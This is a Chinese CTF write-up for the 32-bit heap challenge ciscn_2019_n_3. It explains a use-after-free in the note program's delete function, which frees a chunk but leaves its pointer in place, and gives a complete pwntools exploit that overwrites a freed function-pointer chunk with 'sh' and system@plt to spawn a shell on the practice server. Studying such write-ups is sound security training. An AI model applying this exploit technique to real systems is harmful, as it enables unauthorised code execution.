这是一题32位的堆题,照常看看保护:
没有开启PIE,接着进行黑盒测试:
菜单题,扔进IDA看看代码逻辑:
4这个功能是提供所谓的进阶版,当时我测试的时候以为是里面有后门还是什么的。结果发现是虚晃一枪,主要就是增加删除和展示。下面看看增加的代码功能:
我自己理解的注释写在了上面,do_new函数总结如下:
1.不管你是输入数字还是字符串内容,都会首先创建一个大小为0xc的chunk,用于存放两个函数指针。
2.如果是数字只会创建一个0xc大小的chunk,值存放在两个函数指针的后面。
3.如果是文本字符串内容,首先会创建一个0xc大小的chunk,首先用于存放两个函数指针,紧接着存放一个根据用户申请大小的堆块地址。用户输入的内容将存在于用户申请大小堆块里。
我们分别申请2个类型的堆看看:
申请一个纯数字类型的堆输入的值为0x41:
我们看到起始部分是有个0x151大小的堆。不用管他(应该是程序某个部分开辟的缓冲区)我们真正申请的是0x965d158。
然后我们看看堆里的内容:
我们看到没有任何问题。是我们猜想的那样。
紧接着我们看看申请类型2文本类型的堆会如何(这里我创建的堆的大小为0x88,值为10个a,索引值为0):
我们看到首先会创建一个0xc大小的堆,紧接着就是我们输入大小的堆。我们看看内容:
下面我们看看全局数组到底存了什么:
我们看到它会存放我们0xc的起始位置,看懂这个结构才能明白下面的free代码。
然后我们看看释放堆块的过程:
首先找到索引然后+4找到free的函数地址,紧着着把索引所对应的值当成参数传递
代码很少。但是为我们后续利用留下伏笔(出题人故意让你这么传参的)。因为本地我们用不到show这些功能,因此我就不分析了。我们只分析free的代码:
从free代码我们看到,只是释放那个堆,但是没有置空,全局变量里并没有清空这个堆块,这会引起UAF漏洞:
我们看到此时尽管有一块堆被我们释放并且进入了tcachebins中。但是全局数组依然记录这这块堆地址。(建议这里自己调试下,因为文字讲述实在过于抽象,我对tcachebins机制还不是很了解)
因此我们的利用点就在这了。因为程序中给了system的地址。并且没有开启PIE,因此我们只需要找到一块可重复利用空间覆盖成我们想要的。并利用上面的提到的传参规则。直接看wp比较好理解:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
#io=process('./ciscn_2019_n_3')
io=remote('node5.buuoj.cn',27505)
elf = ELF("./ciscn_2019_n_3")
def new(idx,type,value,length=0):
io.recvuntil("CNote")
io.sendline(str(1))
io.recvuntil("Index")
io.sendline(str(idx))
io.recvuntil("Type")
io.sendline(str(type))
if type == 1:
io.recvuntil("Value")
io.sendline(str(value))
else:
io.recvuntil("Length")
io.sendline(str(length))
io.recvuntil("Value")
if length == 8:
io.send(value)
else:
io.sendline(value)
def dele(idx):
io.recvuntil("CNote")
io.sendline(str(2))
io.recvuntil("Index")
io.sendline(str(idx))
def show(idx):
io.recvuntil("CNote")
io.sendline(str(3))
io.recvuntil("Index")
io.sendline(str(idx))
if __name__ == "__main__":
#gdb.attach(io)
new(0,2,'a'*10,0x88) //申请三个堆
new(1,2,'b'*10,0x38)
new(2,1,0x41) //最末尾创建的大小为0xc的chunk,用于欺骗堆管理器
dele(1) //释放索引为1的堆
dele(2) //释放索引为2的堆
new(3,2,b'sh\x00\x00'+p32(elf.plt['system']),0xc) //此时再次申请我们就能覆盖索引为1的0xc大
//小的堆快上
dele(1) //触发system
io.interactive()
我这里解释下这个sh\x00\x00和bin/sh功能是一样的。但是这里限制4个字节所以bin/sh参数是用不了的
打通。